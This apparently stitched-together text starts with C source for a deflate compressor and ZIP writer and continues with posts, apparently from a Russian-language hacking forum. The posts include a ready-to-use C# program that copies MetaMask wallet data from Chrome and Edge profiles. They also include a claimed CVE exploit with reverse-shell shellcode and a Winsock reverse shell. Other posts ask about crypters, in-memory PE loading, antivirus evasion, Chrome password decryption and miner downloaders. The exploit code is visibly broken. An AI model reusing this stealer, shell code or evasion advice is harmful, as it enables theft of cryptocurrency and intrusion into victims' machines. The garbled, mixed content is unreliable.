sdefl_put(dst, s, !!is_last, 1); /* block */
sdefl_put(dst, s, 0x02, 2); /* dynamic huffman */
sdefl_put(dst, s, symcnt.lit - 257, 5);
sdefl_put(dst, s, symcnt.off - 1, 5);
sdefl_put(dst, s, item_cnt - 4, 4);
for (i = 0; i < item_cnt; ++i) {
sdefl_put(dst, s, lens[perm[i]], 3);
}
for (i = 0; i < symcnt.items; ++i) {
unsigned sym = items[i] & 0x1F;
sdefl_put(dst, s, (int)codes[sym], lens[sym]);
if (sym < 16) continue;
if (sym == 16) sdefl_put(dst, s, items[i] >> 5, 2);
else if(sym == 17) sdefl_put(dst, s, items[i] >> 5, 3);
else sdefl_put(dst, s, items[i] >> 5, 7);
}
/* block sequences */
for (i = 0; i < s->seq_cnt; ++i) {
if (s->seq[i].off >= 0) {
for (j = 0; j < s->seq[i].len; ++j) {
int c = in[s->seq[i].off + j];
sdefl_put(dst, s, (int)s->cod.word.lit[c], s->cod.len.lit[c]);
}
} else {
sdefl_match(dst, s, -s->seq[i].off, s->seq[i].len);
}
}
sdefl_put(dst, s, (int)(s)->cod.word.lit[SDEFL_EOB], (s)->cod.len.lit[SDEFL_EOB]);
} break;}
memset(&s->freq, 0, sizeof(s->freq));
s->seq_cnt = 0;
}
static void
sdefl_seq(struct sdefl *s, int off, int len) {
assert(s->seq_cnt + 2 < SDEFL_SEQ_SIZ);
s->seq[s->seq_cnt].off = off;
s->seq[s->seq_cnt].len = len;
s->seq_cnt++;
}
static void
sdefl_reg_match(struct sdefl *s, int off, int len) {
struct sdefl_match_codest cod;
sdefl_match_codes(&cod, off, len);
assert(cod.lc < SDEFL_SYM_MAX);
assert(cod.dc < SDEFL_OFF_MAX);
s->freq.lit[cod.lc]++;
s->freq.off[cod.dc]++;
}
struct sdefl_match {
int off;
int len;
};
static void
sdefl_fnd(struct sdefl_match *m, const struct sdefl *s, int chain_len,
int max_match, const unsigned char *in, int p, int e) {
int i = s->tbl[sdefl_hash32(in + p)];
int limit = ((p - SDEFL_WIN_SIZ) < SDEFL_NIL) ? SDEFL_NIL : (p-SDEFL_WIN_SIZ);
assert(p < e);
assert(p + max_match <= e);
while (i > limit) {
assert(i + m->len < e);
assert(p + m->len < e);
assert(i + SDEFL_MIN_MATCH < e);
assert(p + SDEFL_MIN_MATCH < e);
if (in[i + m->len] == in[p + m->len] &&
(sdefl_uload32(&in[i]) == sdefl_uload32(&in[p]))) {
int n = SDEFL_MIN_MATCH;
while (n < max_match && in[i + n] == in[p + n]) {
assert(i + n < e);
assert(p + n < e);
n++;
}
if (n > m->len) {
m->len = n, m->off = p - i;
if (n == max_match)
break;
}
}
if (!(--chain_len)) break;
i = s->prv[i & SDEFL_WIN_MSK];
}
}
static int
sdefl_compr(struct sdefl *s, unsigned char *out, const unsigned char *in,
int in_len, int lvl) {
unsigned char *q = out;
static const unsigned char pref[] = {8,10,14,24,30,48,65,96,130};
int max_chain = (lvl < 8) ? (1 << (lvl + 1)): (1 << 13);
int n, i = 0, litlen = 0;
for (n = 0; n < SDEFL_HASH_SIZ; ++n) {
s->tbl[n] = SDEFL_NIL;
}
do {int blk_begin = i;
int blk_end = ((i + SDEFL_BLK_MAX) < in_len) ? (i + SDEFL_BLK_MAX) : in_len;
while (i < blk_end) {
struct sdefl_match m = {0};
int left = blk_end - i;
int max_match = (left > SDEFL_MAX_MATCH) ? SDEFL_MAX_MATCH : left;
int nice_match = pref[lvl] < max_match ? pref[lvl] : max_match;
int run = 1, inc = 1, run_inc = 0;
if (max_match > SDEFL_MIN_MATCH) {
sdefl_fnd(&m, s, max_chain, max_match, in, i, in_len);
}
if (lvl >= 5 && m.len >= SDEFL_MIN_MATCH && m.len + 1 < nice_match){
struct sdefl_match m2 = {0};
sdefl_fnd(&m2, s, max_chain, m.len + 1, in, i + 1, in_len);
m.len = (m2.len > m.len) ? 0 : m.len;
}
if (m.len >= SDEFL_MIN_MATCH) {
if (litlen) {
sdefl_seq(s, i - litlen, litlen);
litlen = 0;
}
sdefl_seq(s, -m.off, m.len);
sdefl_reg_match(s, m.off, m.len);
if (lvl < 2 && m.len >= nice_match) {
inc = m.len;
} else {
run = m.len;
}
} else {
s->freq.lit[in[i]]++;
litlen++;
}
run_inc = run * inc;
if (in_len - (i + run_inc) > SDEFL_MIN_MATCH) {
while (run-- > 0) {
unsigned h = sdefl_hash32(&in[i]);
s->prv[i&SDEFL_WIN_MSK] = s->tbl[h];
s->tbl[h] = i, i += inc;
assert(i <= blk_end);
}
} else {
i += run_inc;
assert(i <= blk_end);
}
}
if (litlen) {
sdefl_seq(s, i - litlen, litlen);
litlen = 0;
}
sdefl_flush(&q, s, blk_end == in_len, in, blk_begin, blk_end);
} while (i < in_len);
if (s->bitcnt) {
sdefl_put(&q, s, 0x00, 8 - s->bitcnt);
}
assert(s->bitcnt == 0);
return (int)(q - out);
}
extern int
sdeflate(struct sdefl *s, void *out, const void *in, int n, int lvl) {
s->bits = s->bitcnt = 0;
return sdefl_compr(s, (unsigned char*)out, (const unsigned char*)in, n, lvl);
}
extern int
sdefl_bound(int len) {
int max_blocks = 1 + sdefl_div_round_up(len, SDEFL_RAW_BLK_SIZE);
int bound = 5 * max_blocks + len + 1 + 4 + 8;
return bound;
}
//////////////
#define ZIP_LOCAL_HEADER 0x04034b50
#define ZIP_CENTRAL_HEADER 0x02014b50
#define ZIP_END_CENTRAL_HEADER 0x06054b50
#define ZIP_VER_MADE_BY 831
#define ZIP_VER_TO_EXTRACT 10
#define Z_DEFLATED 8
#pragma pack(push, 1)
struct LocalFileHeader
{
uint32_t signature;
uint16_t versionToExtract;
uint16_t generalPurposeBitFlag;
uint16_t compressionMethod;
uint16_t modificationTime;
uint16_t modificationDate;
uint32_t crc32;
uint32_t compressedSize;
uint32_t uncompressedSize;
uint16_t filenameLength;
uint16_t extraFieldLength;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct CentralDirectoryFileHeader
{
uint32_t signature;
uint16_t versionMadeBy;
uint16_t versionToExtract;
uint16_t generalPurposeBitFlag;
uint16_t compressionMethod;
uint16_t modificationTime;
uint16_t modificationDate;
uint32_t crc32;
uint32_t compressedSize;
uint32_t uncompressedSize;
uint16_t filenameLength;
uint16_t extraFieldLength;
uint16_t fileCommentLength;
uint16_t diskNumber;
uint16_t internalFileAttributes;
uint32_t externalFileAttributes;
uint32_t localFileHeaderOffset;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct EndOfCentralDirectory
{
uint32_t signature;
uint16_t diskNumber;
uint16_t startDiskNumber;
uint16_t numberCentralDirectoryRecord;
uint16_t totalCentralDirectoryRecord;
uint32_t sizeOfCentralDirectory;
uint32_t centralDirectoryOffset;
uint16_t commentLength;
};
#pragma pack(pop)
static uint32_t crc_32_tab[] = { /* CRC polynomial 0xedb88320 */
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};
#define UPDC32(ch, crc) (crc_32_tab[((crc) ^ (ch)) & 0xff] ^ ((crc) >> 8))
uint32_t updateCRC32(unsigned char ch, uint32_t crc)
{
return UPDC32(ch, crc);
}
uint32_t crc32(unsigned char *buf, size_t len)
{
register uint32_t oldcrc32;
oldcrc32 = 0xFFFFFFFF;
for ( ; len; --len, ++buf)
{
oldcrc32 = UPDC32(*buf, oldcrc32);
}
return ~oldcrc32;
}
typedef struct pico_zip
{
uint16_t filesCount;
void* buffer;
void* cdfh_buffer;
uint32_t buffer_size;
uint32_t cdfh_buffer_size;
bool isFinalized;
} pico_zip;
pico_zip * pico_zip_init()
{
pico_zip * p_zip = (pico_zip *) malloc(sizeof(pico_zip));
memset(p_zip, 0, sizeof(pico_zip));
p_zip->filesCount = 0;
p_zip->isFinalized = false;
return p_zip;
};
void * append_buffer(void **buffer, uint32_t *size, const void *in_buffer, uint32_t in_size)
{
void * tmp = realloc(*buffer, *size + in_size);
memcpy((char *)tmp+*size, in_buffer, in_size);
*size += in_size;
*buffer = tmp;
return tmp;
};
void* compress_buffer(const void *buffer, uint32_t size, uint32_t *destLen)
{
static struct sdefl sdefl;
void* cbuffer = malloc(sdefl_bound(size));
*destLen = sdeflate(&sdefl, cbuffer, buffer, size, SDEFL_LVL_DEF);
return cbuffer;
}
int pico_zip_pack(pico_zip * p_zip, const char *filename, const void *buffer, uint32_t size)
{
uint32_t compressedSize = 0;
void* cbuffer = compress_buffer(buffer, size, &compressedSize);
if (cbuffer == NULL) return 1;
struct LocalFileHeader lfh;
struct CentralDirectoryFileHeader cdfh;
memset(&lfh, 0, sizeof(lfh));
memset(&cdfh, 0, sizeof(cdfh));
lfh.signature = ZIP_LOCAL_HEADER;
cdfh.signature = ZIP_CENTRAL_HEADER;
lfh.versionToExtract = ZIP_VER_TO_EXTRACT;
lfh.crc32 = crc32((unsigned char *)buffer, size);
lfh.compressionMethod = Z_DEFLATED;
lfh.compressedSize = compressedSize;
lfh.uncompressedSize = size;
lfh.filenameLength = strlen(filename);
lfh.generalPurposeBitFlag = 1 << 11;
cdfh.versionToExtract = lfh.versionToExtract;
cdfh.versionMadeBy = ZIP_VER_MADE_BY;
cdfh.compressedSize =lfh.compressedSize;
cdfh.uncompressedSize = lfh.uncompressedSize;
cdfh.compressionMethod = lfh.compressionMethod;
cdfh.crc32 = lfh.crc32;
cdfh.filenameLength = lfh.filenameLength;
cdfh.generalPurposeBitFlag = lfh.generalPurposeBitFlag;
cdfh.localFileHeaderOffset = p_zip->buffer_size;
append_buffer(&p_zip->buffer, &p_zip->buffer_size, &lfh, sizeof(lfh));
append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void* )filename, strlen(filename));
append_buffer(&p_zip->buffer, &p_zip->buffer_size, cbuffer, compressedSize);
p_zip->filesCount++;
append_buffer(&p_zip->cdfh_buffer, &p_zip->cdfh_buffer_size, &cdfh, sizeof(cdfh));
append_buffer(&p_zip->cdfh_buffer, &p_zip->cdfh_buffer_size, (void* )filename, strlen(filename));
free(cbuffer);
return 0;
};
int pico_zip_finalize(pico_zip * p_zip, const char *comment){
struct EndOfCentralDirectory eocd;
memset(&eocd, 0, sizeof(eocd));
eocd.signature = ZIP_END_CENTRAL_HEADER;
eocd.centralDirectoryOffset = p_zip -> buffer_size;
eocd.numberCentralDirectoryRecord = p_zip -> filesCount;
eocd.totalCentralDirectoryRecord = p_zip -> filesCount;
eocd.sizeOfCentralDirectory = p_zip -> cdfh_buffer_size;
eocd.commentLength=strlen(comment);
append_buffer(&p_zip->buffer, &p_zip->buffer_size, p_zip->cdfh_buffer, p_zip->cdfh_buffer_size);
append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void*)&eocd, sizeof(eocd));
append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void*)comment, eocd.commentLength);
p_zip -> isFinalized = true;
return 0;
};
int pico_zip_free(pico_zip * p_zip){
free(p_zip -> cdfh_buffer);
free(p_zip -> buffer);
p_zip -> filesCount = 0;
p_zip -> buffer_size = 0;
p_zip -> cdfh_buffer_size = 0;
p_zip -> isFinalized = false;
};
Необходимо реализовать защиту от копированию ПО.
Интересуют различные варианты: оффлайн и онлайн, лицензия по времени и тд.
Буду благодарен за ссылки и комментарии.
Исходиники на C++(qt).
Возможно не попал в раздел, но все же, ищу слитые курсы по C# и Unity, буду очень благодарен, заранее спасибо)
AnonFiles ](https://anonfiles.com/t2VbkeJ1xf/_._2-_2018_pdf)
anonfiles.com
На каком языке писать gui? Чтобы было асинхронно(т.к запросы будут отсылаться таким образом) и в целом с большим количество документации. (Прошу не пишите иди в гугл/gpt и т.д. Хочется на форуме спросить у опытных людей)
Приветствую, заинтересовала тема, как написать на C# рдп соединение, пробовал еще декриптануть пароли в новых версиях хрома и там шиш с маслом был, интересно послушать ваше мнение, как бы вы организовали реверс рдп и расшифровку паролей хрома после обновления. Если есть уже какие-то статьи и вы поедлитесь источником буду благодарен, всем хорошего дня!
Создаём класс Enums.cs
C#:Copy to clipboard
using System;
internal class Enums
{
[Flags]
public enum ExeType : int
{
None = 0,
WinNT = 0x04000000,
PE = 'P' | ('E' << 8),
NE = 'N' | ('E' << 8),
MZ = 'M' | ('Z' << 8),
}
}
Создаём класс NativeMethods.cs
C#:Copy to clipboard
using System;
using System.Runtime.InteropServices;
internal static class NativeMethods
{
// https://docs.microsoft.com/ru-ru/windows/win32/api/shellapi/nf-shellapi-shgetfileinfoa?redirectedfrom=MSDN
[DllImport("shell32.dll", CharSet = CharSet.Unicode, EntryPoint = "SHGetFileInfo")]
public static extern Enums.ExeType GetExeType(string pszPath, uint dwFileAttributes = 0, IntPtr psfi = default,
uint cbFileInfo = 0, uint uFlags = 0x2000);
}
В главном классе Program.cs вызываем:
C#:Copy to clipboard
using System;
using System.IO;
internal static class Program
{
public static void Main(string[] args)
{
Console.Title = "PE Check SubSystem by r3xq1";
try
{
if (Path.GetExtension(args[0]) != ".exe" && Path.GetExtension(args[0]) != ".dll")
{
Console.WriteLine("Only the (.exe and .dll) file extension is available.");
Console.ReadKey();
}
else
{
if (args.Length > 0 && File.Exists(args[0]))
{
Console.WriteLine($"File: {args[0]}");
Console.WriteLine($"Type: {CheckSubSystem(args[0])}");
Console.ReadLine();
}
else
{
Console.WriteLine("File not found! Try dragging it into this window.");
Console.ReadKey();
}
}
}
catch
{
Console.WriteLine("Move the file to this window");
Console.ReadKey();
}
}
private static string CheckSubSystem(string pszPath)
{
Enums.ExeType type = NativeMethods.GetExeType(pszPath);
return type != Enums.ExeType.PE && type != Enums.ExeType.MZ ? "WinForms" : "Console";
}
}
Компилируем!
После берём любой бинарный файл .exe и перетаскиваем его на наш
скомпилированный файл.
// del
Невнимательность
Hi,
I am curently working on a crypter.
I didnt found a solution how i could execute PE bytes in the memory, i only found shellcode samples.
Does someone know how to do it, or has a working script that he could give me?
Thx for your answers..
Есть LoadPE со всем функционалом, который косит под легитимное ПО.
Читал здесь на иксах, что надо копировать ресурсы, VersionInfo и прочие
сигнатуры с официальных приложений ( по типу различных установщиков, системных
софтов итд), т.е. максимальная мимикрия
Но, есть ли смысл это делать? Можно генерировать свои ресурсы в разных
объемах, но не копировать с других софтов. Или так будет хуже?
Hello, I'm a beginner about AV evasion. I developed my crypter and my malware both in C. The malware uses some winapi and the crypter uses ntdll calls to avoid AV detections.
Is it possible to refud this code? I commented this out of my stub and it was no longer detected. I am unsure how I could recode this. method.Invoke is causing 2 detections.
Code:Copy to clipboard
var assembly = Assembly.Load(decryptedBytes);
MethodInfo method = assembly.EntryPoint;
method.Invoke(method, null);
Or should I move on and try to recode a runpe found on github?
какие есть варианты Kernel движения мышью без подключения к девайсу мышки на
языке С или С++
нужны неординарные решения !
если у кого-то есть исходник такого варианта(и если вам не жалко им поделится)
то я буду очень благодарен
Всем привет. Пацаны, выручайте пожаалуйста. Препод просто мозг выносит вторую пару. Я прочел 4 книги(не кнута), по делфи и плюсам, там +- то что даёт нейронка, но это полная неверная дичь.
В общем я пытаюсь сделать реализацию пирамидальной сортировки Кнута(строго
его), алгоритм есть+диаграмма ненси-шердмана от препода.
Посмотрите диаграмму и код кто-нибудь, это верно я написал по алгу? Скажите
пж. ps. код рабочий.
Spoiler: описание по кнуту
Диаграмма препода
Spoiler: диаграмма по шердману
Код который я подготовил +-. Скажите что тут может быть не так. Может что не верно?(пока не сдавал), может найдете какую-то оплошность? Я просто не знаю как 1 в 1 реализовать
C++:Copy to clipboard
void sortH(int* arK, int N)
{
int l = N / 2, r = N - 1, K;
// H1: начальная установка
while (l > 0) {
// H2: уменьшаем шаг
l = l - 1;
K = arK[l];
int i = l, j = 2 * i + 1;
// H3, H4: подготовиться к "протаскиванию"
while (j <= r) {
// H5: найти большего потомка
if (j < r && arK[j] < arK[j + 1]) {
j = j + 1;
}
// H6: завершить цикл, если K больше или равен arK[j]
if (K >= arK[j]) {
break;
}
// H7: подтащить его наверх
arK[i] = arK[j];
i = j;
j = 2 * i + 1;
}
// H8: записать K
arK[i] = K;
}
// Повторение процесса, извлечение элементов
while (r > 0) {
// Перемещаем корень кучи (максимум) в конец
K = arK[r];
arK[r] = arK[0];
r = r - 1;
// Восстанавливаем кучу
int i = 0, j = 1;
while (j <= r) {
// Найти большего потомка
if (j < r && arK[j] < arK[j + 1]) {
j = j + 1;
}
// Если K больше или равен потомку, выходим
if (K >= arK[j]) {
break;
}
// Поднимаем потомка
arK[i] = arK[j];
i = j;
j = 2 * i + 1;
}
// Записываем K на место
arK[i] = K;
}
}
Кто разбирается в алгоритмах помогите пжпжпж.
Приложение на C++ imgui dx9, у некоторых пользователей не открывается ПО
Hands-on Network Programming with C
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F3b9cb5fa0f986e2facc723b67678dc518440f36eba97d22f2ea89a8969dbdec1%2FPacktPublishing%2FHands- On-Network-Programming- with-C&hash=0f4fd86128836441e240c57cdeffcc99&return_error=1)
Network Programming with C, published by Packt ](https://github.com/PacktPublishing/Hands-On-Network-Programming-with-C)
Hands-On Network Programming with C, published by Packt - PacktPublishing/Hands-On-Network-Programming-with-C
github.com
This book covers the following:
I cannot attach the pdf for some reason you can download here: https://kr1lib.org/book/5412144/924d08
Нигде не нашел кода как грабить метамаски. Поэтому написал свой
Пользуйтесь на здоровье
только edge и хром
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.IO;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
int con = 1;
int cont = 1;
string LocalData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string MetamaskDir = LocalData + "\\папка_с_логом\\Wallets\\Metamask\\"; //папка куда сохраняется награбленное
IEnumerable<string> CHROME = Directory.EnumerateDirectories(LocalData + "\\Google\\Chrome\\User Data\\", "Profile *", SearchOption.AllDirectories);
IEnumerable<string> EDGE = Directory.EnumerateDirectories(LocalData + "\\Microsoft\\Edge\\User Data\\", "Profile *", SearchOption.AllDirectories);
try
{
foreach (string folder in CHROME)
{
string mmm = MetamaskDir + "Chrome_Profile_" + con + @"\";
DirectoryInfo hm = new DirectoryInfo(folder + "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\");
foreach (System.IO.FileInfo fi in hm.GetFiles())
{
fi.CopyTo(Directory.CreateDirectory(mmm) + fi.Name, true);
}
con++;
}
}
catch { }
string def = MetamaskDir + "Chrome_Default\\";
try
{
DirectoryInfo defa = new DirectoryInfo(LocalData + "\\Google\\Chrome\\User Data\\\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\");
foreach (System.IO.FileInfo fil in defa.GetFiles())
{
fil.CopyTo(Directory.CreateDirectory(def) + fil.Name, true);
}
}
catch { }
try
{
foreach (string folder in EDGE)
{
string mmms = MetamaskDir + "EDGE_Profile_" + cont + @"\";
DirectoryInfo hm = new DirectoryInfo(folder + "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\");
foreach (System.IO.FileInfo fi in hm.GetFiles())
{
fi.CopyTo(Directory.CreateDirectory(mmms) + fi.Name, true);
}
cont++;
}
}
catch
{ }
string defs = MetamaskDir + "EDGE_Default\\";
try
{
DirectoryInfo defa = new DirectoryInfo(LocalData + "\\Microsoft\\Edge\\User Data\\\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn\\");
foreach (System.IO.FileInfo fil in defa.GetFiles())
{
fil.CopyTo(Directory.CreateDirectory(defs) + fil.Name, true);
}
}
catch { }
}
}
}
Pomogite pls, kak moshno cheknut na kartu Nvidia & AMD, i skolko 4gb ile 6gb oni?
Delaju dla downloader, esle 4gb download miner ETC, else 6gb download ETH miner
Есть такая cve - https://github.com/Elizarfish/CVE-2023-21823
Вот код:
C:Copy to clipboard
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <ws2tcpip.h>
#pragma comment(lib,"ws2_32")
int main() {
HBITMAP hBitmap;
HDC hdcMem;
LPVOID pvScan0;
BITMAPINFO bmi = { sizeof(BITMAPINFOHEADER), 0, 0, 1, 32, BI_RGB };
BYTE bJmp[6] = { 0xEB, 0x06, 0x90, 0x90, 0x90, 0x90 };
hBitmap = CreateBitmap(1, 1, 1, 32, NULL);
hdcMem = CreateCompatibleDC(NULL);
SelectObject(hdcMem, hBitmap);
GetDIBits(hdcMem, hBitmap, 0, 0, NULL, &bmi, DIB_RGB_COLORS);
pvScan0 = VirtualAlloc(NULL, bmi.bmiHeader.biSizeImage, MEM_COMMIT, PAGE_READWRITE);
bmi.bmiHeader.biCompression = BI_JPEG;
memcpy((PBYTE)pvScan0 + bmi.bmiHeader.biSizeImage - 6, bJmp, 6);
SetDIBits(hdcMem, hBitmap, 0, 1, pvScan0, &bmi, DIB_RGB_COLORS);
int main(int argc, char** argv)
{
WSADATA wsaData;
SOCKET s;
SOCKADDR_IN server;
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
// Reverse shell payload
char* shellcode = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x90\xc0\xa8\x00\x66\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x02\x59\x50\x50\x4d\x31\xc9\x
int main()
{
// Setup reverse shell payload
WSADATA wsaData;
SOCKET Winsock;
sockaddr_in addr;
STARTUPINFOA sInfo;
PROCESS_INFORMATION pInfo;
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("192.168.0.1"); // Your IP address here
addr.sin_port = htons(1234); // Your listening port here
WSAConnect(Winsock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL);
memset(&sInfo, 0, sizeof(sInfo));
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)Winsock;
char* szCmdline = "cmd.exe"; // Command line to execute
CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
return 0;
}
Тут 3 точки входа, не закрыты блоки и переменная.
Может кто-то знает как это скомпилировать?
Немного туплю по этому поводу. Додумался вот до вот такого варианта:
C:Copy to clipboard
#define HASH_STRING(function, ...) (function)(__VA_ARGS__)
Где "function" - наша хеширующая функция. Ну, к примеру:
C:Copy to clipboard
int hashString(WCHAR *str) {
ULONG i = 0;
ULONG hash = 0;
while (i = *str++) {
hash = (i + (hash << 6) + (hash << 16) - hash) ^ 0xF0000000L;
}
return hash;
}
В итоге получается что-то похожее:
C:Copy to clipboard
#define Secret HASH_STRING(hashString, L"Hashed");
Однако, строки все равно остаются и подсчет хэша происходит после появляения
самой строки (насколько понимаю из-за механизма макроподстановки функций):
Может, есть более простые и действенные методы хеширования? Можно, конечно и без функции работать, а чисто на макросе, но тогда в моем понимании я буду очень ограничен. Благодарю!
Помогите понять как можно на C++ делать FTP запросы. Нужно каждый(разные айпишки) раз чекать на anonymous login
C:Copy to clipboard
NTSTATUS read_process_memory(uintptr_t pid, uintptr_t address, PVOID buffer, SIZE_T bitetoread)
{
if (pid) return STATUS_UNSUCCESSFUL;
PEPROCESS process = 0;
PsLookupProcessByProcessId(pid, &process);
if (!process) return STATUS_UNSUCCESSFUL;
uintptr_t process_base = get_process_cr3(process);
